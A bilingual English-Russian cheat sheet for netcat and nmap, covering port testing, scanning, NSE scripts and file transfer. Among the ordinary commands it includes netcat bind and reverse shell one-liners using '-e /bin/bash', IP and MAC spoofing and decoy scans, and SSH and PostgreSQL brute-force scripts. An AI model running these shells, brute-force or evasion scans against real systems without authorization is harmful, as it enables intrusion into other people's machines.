nc / nmap — Network Tools

If you like this project, consider supporting me on Buy Me a Coffee ☕️

nc / nmap — Network Reconnaissance & Port Testing

nc (netcat) is a versatile networking utility for reading/writing data across TCP/UDP connections — often called the "Swiss Army knife" of networking. nmap (Network Mapper) is the industry-standard tool for network discovery and security auditing. Together they cover port scanning, service detection, file transfer, and vulnerability assessment.

📚 Official Docs / Официальная документация: nmap.org · ncat(1)

🔌 netcat — Swiss Army Knife

Port Testing / Проверка портов

nc -zv <HOST> 80                              # Test port 80 / Проверить порт 80
nc -zv <HOST> 22                              # Test SSH / Проверить SSH
nc -zv <HOST> 1-1024                          # Scan ports 1-1024 / Сканировать порты 1-1024
nc -zv -w 1 <HOST> 80                         # 1s timeout / Таймаут 1с
nc -zv -u <HOST> 53                           # UDP port test / Проверка UDP порта
echo -e "GET / HTTP/1.0\r\n\r\n" | nc <HOST> 80  # HTTP banner / HTTP баннер
nc <HOST> 22                                  # SSH banner / SSH баннер
nc <HOST> 25                                  # SMTP banner / SMTP баннер
echo "QUIT" | nc <HOST> 21                    # FTP banner / FTP баннер

Listen Mode / Режим прослушивания

nc -l 8080                                    # Listen on port 8080 / Слушать порт 8080
nc -l -p 9999                                 # Listen on port 9999 / Слушать порт 9999
nc -l -k 8080                                 # Keep listening (persist) / Продолжать слушать
nc -l 8080 > received.file                    # Receive file / Получить файл
nc -l 8080 | tar -xzvf -                      # Receive and extract / Получить и распаковать

Connect & Send / Подключение и отправка

nc <HOST> 8080 < file.txt                     # Send file / Отправить файл
cat file.txt | nc <HOST> 8080                 # Alternative / Альтернатива
tar -czf - /dir | nc <HOST> 8080              # Send directory / Отправить директорию

Chat / Backdoor / Чат / Backdoor

nc -l 8080                                    # Server / Сервер
nc <HOST> 8080                                # Client / Клиент
# Type messages and press Enter / Печатайте сообщения и нажимайте Enter

Execute Commands / Выполнение команд

nc -l -p 8080 -e /bin/bash                    # Backdoor shell (dangerous!) / Backdoor shell (опасно!)
nc <HOST> 8080 -e /bin/bash                   # Reverse shell / Обратный shell

Proxy / Прокси

mkfifo /tmp/fifo                              # Create FIFO / Создать FIFO
nc -l 8080 < /tmp/fifo | nc <TARGET> 80 > /tmp/fifo  # Proxy to target / Прокси на цель

🔍 nmap — Port Scanner

Basic Scanning / Базовое сканирование

nmap <HOST>                                   # Scan top 1000 ports / Сканировать top 1000 портов
nmap 192.168.1.0/24                           # Scan subnet / Сканировать подсеть
nmap 192.168.1.1-254                          # Scan range / Сканировать диапазон
nmap <HOST1> <HOST2> <HOST3>                  # Scan multiple hosts / Сканировать несколько хостов

Port Specification / Указание портов

nmap -p 80 <HOST>                             # Scan port 80 / Сканировать порт 80
nmap -p 80,443 <HOST>                         # Scan ports 80 and 443 / Сканировать порты 80 и 443
nmap -p 1-1024 <HOST>                         # Scan ports 1-1024 / Сканировать порты 1-1024
nmap -p- <HOST>                               # Scan all ports / Сканировать все порты
nmap -p T:80,U:53 <HOST>                      # TCP 80 + UDP 53 / TCP 80 + UDP 53

Scan Types / Типы сканирования

nmap -sS <HOST>                               # SYN scan (stealth) / SYN сканирование (скрытое)
nmap -sT <HOST>                               # TCP connect scan / TCP connect сканирование
nmap -sU <HOST>                               # UDP scan / UDP сканирование
nmap -sA <HOST>                               # ACK scan (firewall detection) / ACK сканирование
nmap -sN <HOST>                               # NULL scan / NULL сканирование
nmap -sF <HOST>                               # FIN scan / FIN сканирование

Service & OS Detection / Определение сервиса и ОС

nmap -sV <HOST>                               # Service version detection / Определение версии сервиса
nmap -O <HOST>                                # OS detection / Определение ОС
nmap -A <HOST>                                # Aggressive scan (OS, version, scripts) / Агрессивное сканирование
nmap -sV --version-intensity 5 <HOST>         # Intense version detection / Интенсивное определение версии

Timing & Performance / Тайминг и производительность

nmap -T0 <HOST>                               # Paranoid (slowest) / Параноидальный (самый медленный)
nmap -T1 <HOST>                               # Sneaky / Скрытный
nmap -T2 <HOST>                               # Polite / Вежливый
nmap -T3 <HOST>                               # Normal (default) / Нормальный (по умолчанию)
nmap -T4 <HOST>                               # Aggressive / Агрессивный
nmap -T5 <HOST>                               # Insane (fastest) / Безумный (самый быстрый)

Host Discovery / Обнаружение хостов

nmap -sn 192.168.1.0/24                       # Ping scan (no port scan) / Ping сканирование
nmap -Pn <HOST>                               # Skip ping (assume host up) / Пропустить ping
nmap -PS22,80,443 <HOST>                      # TCP SYN ping / TCP SYN ping
nmap -PA22,80,443 <HOST>                      # TCP ACK ping / TCP ACK ping

🔬 Advanced Scanning / Продвинутое сканирование

Firewall Evasion / Обход фаервола

nmap -f <HOST>                                # Fragment packets / Фрагментировать пакеты
nmap -D RND:10 <HOST>                         # Decoy scan / Сканирование с приманками
nmap -S <SPOOF_IP> <HOST>                     # Spoof source IP / Подменить исходный IP
nmap --spoof-mac <MAC> <HOST>                 # Spoof MAC address / Подменить MAC адрес
nmap --data-length 25 <HOST>                  # Append random data / Добавить случайные данные

Output Formats / Форматы вывода

nmap -oN output.txt <HOST>                    # Normal output / Нормальный вывод
nmap -oX output.xml <HOST>                    # XML output / XML вывод
nmap -oG output.grep <HOST>                   # Grepable output / Grepable вывод
nmap -oA output <HOST>                        # All formats / Все форматы

Target Specification / Указание целей

nmap -iL hosts.txt                            # Scan from file / Сканировать из файла
nmap --exclude 192.168.1.5                    # Exclude host / Исключить хост
nmap --excludefile exclude.txt                # Exclude from file / Исключить из файла

📜 NSE Scripts / Скрипты NSE

Script Categories / Категории скриптов

nmap --script=default <HOST>                  # Default scripts / Скрипты по умолчанию
nmap --script=vuln <HOST>                     # Vulnerability scripts / Скрипты уязвимостей
nmap --script=exploit <HOST>                  # Exploit scripts / Скрипты эксплойтов
nmap --script=auth <HOST>                     # Authentication scripts / Скрипты аутентификации
nmap --script=discovery <HOST>                # Discovery scripts / Скрипты обнаружения

Specific Scripts / Конкретные скрипты

nmap --script=http-title <HOST> -p 80         # HTTP title / HTTP заголовок
nmap --script=ssl-cert <HOST> -p 443          # SSL certificate / SSL сертификат
nmap --script=ssh-brute <HOST> -p 22          # SSH brute force / SSH брутфорс
nmap --script=mysql-info <HOST> -p 3306       # MySQL info / MySQL информация

Script Arguments / Аргументы скриптов

nmap --script=http-wordpress-enum --script-args http-wordpress-enum.root="/blog/" <HOST>

List Scripts / Список скриптов

nmap --script-help=http-*                     # List HTTP scripts / Список HTTP скриптов
# ls /usr/share/nmap/scripts/                   # Browse all scripts / Просмотр всех скриптов

🐛 Troubleshooting / Устранение неполадок

Verbose & Debug / Подробный и отладочный

nmap -v <HOST>                                # Verbose / Подробный
nmap -vv <HOST>                               # Extra verbose / Очень подробный
nmap -d <HOST>                                # Debug / Отладочный
nmap -dd <HOST>                               # Extra debug / Очень отладочный

Packet Tracing / Отслеживание пакетов

nmap --packet-trace <HOST>                    # Show packets / Показать пакеты
nmap --reason <HOST>                          # Show reason for state / Показать причину состояния

IPv6 Scanning / Сканирование IPv6

nmap -6 <IPV6_HOST>                           # IPv6 scan / IPv6 сканирование
nmap -6 fe80::1                               # Link-local / Локальный канал

🌟 Real-World Examples / Примеры из практики

Network Discovery / Обнаружение сети

# Discover live hosts / Обнаружить живые хосты
nmap -sn 192.168.1.0/24 -oG - | grep "Up" | awk '{print $2}'

# Quick scan of live hosts / Быстрое сканирование живых хостов
nmap -T4 -F 192.168.1.0/24

Vulnerability Scanning / Сканирование уязвимостей

# Scan for vulnerabilities / Сканировать на уязвимости
nmap -Pn --script vuln <HOST>

# Check for Heartbleed / Проверить на Heartbleed
nmap -p 443 --script ssl-heartbleed <HOST>

# Check SMB vulnerabilities / Проверить SMB уязвимости
nmap --script smb-vuln* <HOST> -p 445

Web Server Audit / Аудит веб-сервера

# Comprehensive web scan / Комплексное веб-сканирование
nmap -p 80,443 --script=http-enum,http-headers,http-methods,http-title <HOST>

# Check for common vulnerabilities / Проверить на общие уязвимости
nmap -p 80,443 --script=http-sql-injection,http-csrf,http-stored-xss <HOST>

Database Scanning / Сканирование баз данных

# MySQL scan / Сканирование MySQL
nmap -p 3306 --script mysql-info,mysql-enum <HOST>

# PostgreSQL scan / Сканирование PostgreSQL
nmap -p 5432 --script pgsql-brute <HOST>

# MongoDB scan / Сканирование MongoDB
nmap -p 27017 --script mongodb-info <HOST>

Quick Port Check / Быстрая проверка портов

# Check if port is open / Проверить открыт ли порт
nc -zv <HOST> 80 && echo "Port 80 OPEN" || echo "Port 80 CLOSED"

# Check multiple services / Проверить несколько сервисов
for port in 22 80 443 3306; do
  nc -zv -w 1 <HOST> $port 2>&1 | grep succeeded && echo "Port $port OPEN"
done

File Transfer / Передача файлов

# Send file with nc / Отправить файл с nc
# Receiver / Получатель:
nc -l 8080 > received.tar.gz

# Sender / Отправитель:
cat file.tar.gz | nc <HOST> 8080

# With progress / С прогрессом:
pv file.tar.gz | nc <HOST> 8080

Remote Command Execution / Удалённое выполнение команд

# Execute command via nc / Выполнить команду через nc
echo "ls -la" | nc <HOST> 8080

# Interactive shell / Интерактивный shell
nc <HOST> 8080

Network Baseline / Базовая линия сети

# Create baseline / Создать базовую линию
nmap -sV -O -oA baseline-$(date +%F) 192.168.1.0/24

# Compare scans / Сравнить сканирования
ndiff baseline-2025-02-01.xml baseline-2025-02-04.xml

Docker Container Scanning / Сканирование контейнеров Docker

# Scan Docker host / Сканировать Docker хост
nmap -p 2375,2376 <HOST>

# Scan for exposed Docker API / Сканировать на открытый Docker API
nmap -p 2375 --script docker-version <HOST>

Kubernetes Cluster Scan / Сканирование кластера Kubernetes

# Scan K8s API / Сканировать K8s API
nmap -p 6443,10250,10255 <K8S_NODE>

# Check for open kubelet / Проверить на открытый kubelet
nmap -p 10250 --script=banner <K8S_NODE>

💡 Best Practices / Лучшие практики

🔧 Common nmap Scan Types / Распространённые типы сканирования nmap

Scan Description (EN / RU)
-sS SYN scan (default) / SYN сканирование (по умолчанию)
-sT TCP connect scan / TCP connect сканирование
-sU UDP scan (slow) / UDP сканирование (медленное)
-sV Version detection / Определение версии
-O OS detection / Определение ОС
-A Aggressive (OS, version, scripts, traceroute) / Агрессивное

📋 netcat Variants / Варианты netcat

Variant Description (EN / RU)
nc Traditional netcat / Традиционный netcat
ncat Nmap netcat (with SSL support) / Nmap netcat (с поддержкой SSL)
socat Advanced netcat alternative / Продвинутая альтернатива netcat

On this page

nc / nmap — Network Reconnaissance &amp; Port Testing 🔌 netcat — Swiss Army Knife Port Testing / Проверка портов Banner Grabbing / Снятие баннеров Listen Mode / Режим прослушивания Connect &amp; Send / Подключение и отправка Chat / Backdoor / Чат / Backdoor Execute Commands / Выполнение команд Proxy / Прокси 🔍 nmap — Port Scanner Basic Scanning / Базовое сканирование Port Specification / Указание портов Scan Types / Типы сканирования Service &amp; OS Detection / Определение сервиса и ОС Timing &amp; Performance / Тайминг и производительность Host Discovery / Обнаружение хостов 🔬 Advanced Scanning / Продвинутое сканирование Firewall Evasion / Обход фаервола Output Formats / Форматы вывода Target Specification / Указание целей 📜 NSE Scripts / Скрипты NSE Script Categories / Категории скриптов Specific Scripts / Конкретные скрипты Script Arguments / Аргументы скриптов List Scripts / Список скриптов 🐛 Troubleshooting / Устранение неполадок Verbose &amp; Debug / Подробный и отладочный Packet Tracing / Отслеживание пакетов IPv6 Scanning / Сканирование IPv6 🌟 Real-World Examples / Примеры из практики Network Discovery / Обнаружение сети Vulnerability Scanning / Сканирование уязвимостей Web Server Audit / Аудит веб-сервера Database Scanning / Сканирование баз данных Quick Port Check / Быстрая проверка портов File Transfer / Передача файлов Remote Command Execution / Удалённое выполнение команд Network Baseline / Базовая линия сети Docker Container Scanning / Сканирование контейнеров Docker Kubernetes Cluster Scan / Сканирование кластера Kubernetes 💡 Best Practices / Лучшие практики 🔧 Common nmap Scan Types / Распространённые типы сканирования nmap 📋 netcat Variants / Варианты netcat ⚠️ Legal Warning / Юридическое предупреждение